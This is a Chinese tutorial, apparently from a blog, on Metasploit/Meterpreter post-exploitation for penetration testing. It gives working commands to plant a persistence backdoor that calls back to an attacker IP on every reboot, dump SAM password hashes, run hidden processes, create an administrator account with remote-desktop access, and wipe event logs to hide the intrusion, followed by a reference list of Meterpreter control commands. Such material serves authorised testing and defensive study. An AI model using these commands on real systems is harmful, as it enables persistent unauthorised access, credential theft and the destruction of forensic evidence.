msfconsole在渗透测试中的一些总结(高级篇)

2021-12-17 15:56:26 浏览数 (1)

建立持续后门

当我们成功获取shell后,再次建立链接显得特别麻烦,那么有什么方法可以解决此问题呢。在前期的教程中,我讲过讲msf的进程转移的其他软件的方法,今天来看看另外的一种方法。 执行命令

代码语言:javascript复制
run persistence -U -A -i 10 - 8090 -r 192.168.232.194

其中 192.168.232.194为kali的ip

我们可以看到,在 C:WINDOWSTEMPIGlPDkq.vbs下生成了一个vbs脚本。并且在注册表中也加入了相应的值,如开机启动。 这样,当对方电脑关机或者重启,我们同样能得到反弹会话。

获取凭证

hashdump模块(post)可以从SAM数据库中导出本地用户账号,credential_collector脚本(post/windows/gather/credentials)也可以从目标设备中收集令牌信息。

代码语言:javascript复制
run post/windows/gather/hashdump

脚本和post模块都需要通过“run”命令执行,数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::。

运行程序

我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下:

代码语言:javascript复制
execute -f<file> [Options]

运行后它将执行file参数所指定的文件。可选参数如下:

-H:创建一个隐藏进程

-a:传递给命令的参数

-i:跟进程进行交互

-m:从内存中执行

-t:使用当前伪造的线程令牌运行进程

-s:在给定会话中执行进程

创建一个新账号

接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。

代码语言:javascript复制
run getgui -u kali -p 123456

启用远程桌面

代码语言:javascript复制
rdesktop 目标ip

首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启): 当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令clearev命令来清除事件日志:

Meterpreter常用命令

1、基本命令(包含meterpreter和msf终端、ruby接口、目标shell交互的命令)

background(进程隐藏至后台) sessions(查看已经成功获取的会话,-i 恢复会话) quit(关闭当前会话) shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错) irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)

2、文件系统命令(与目标文件系统交互,包括查看、上传下载、搜索、编辑)

cat(目标系统文件交互) getwd(获取目标机当前工作目录,getlwd本地当前工作工作目录) upload(上传文件或文件夹到目标机 -r 递归) download(从目标机下载文件或文件夹 -r 递归) edit(调用vi编辑器,对目标上的文件进行编辑) search(对目标机的文件进行搜索)

3、网络命令(查看目标网络状况、连接信息,进行端口转发等)

ipconfig(获取目标主机上的网络接口信息) portfwd(端口转发:将目标主机开放但不允许访问的端口进行转发) route(显示目标主机路由信息)

4、系统命令(查看目标系统信息、对系统进行基本操作等)

ps(查看目标机正在运行的进程信息) migrate(将meterpreter会话进程迁移到另一个进程内存空间) execute(在目标机上执行文件) getpid(当前会话所在进程的pid值) kill(终结指定的pid程序) getuid(获取当前会话用户名) sysinfo(获取系统信息) shutdown(关闭目标主机)

5、用户接口命令

screenshot(截获被控主机当前桌面)

0 人点赞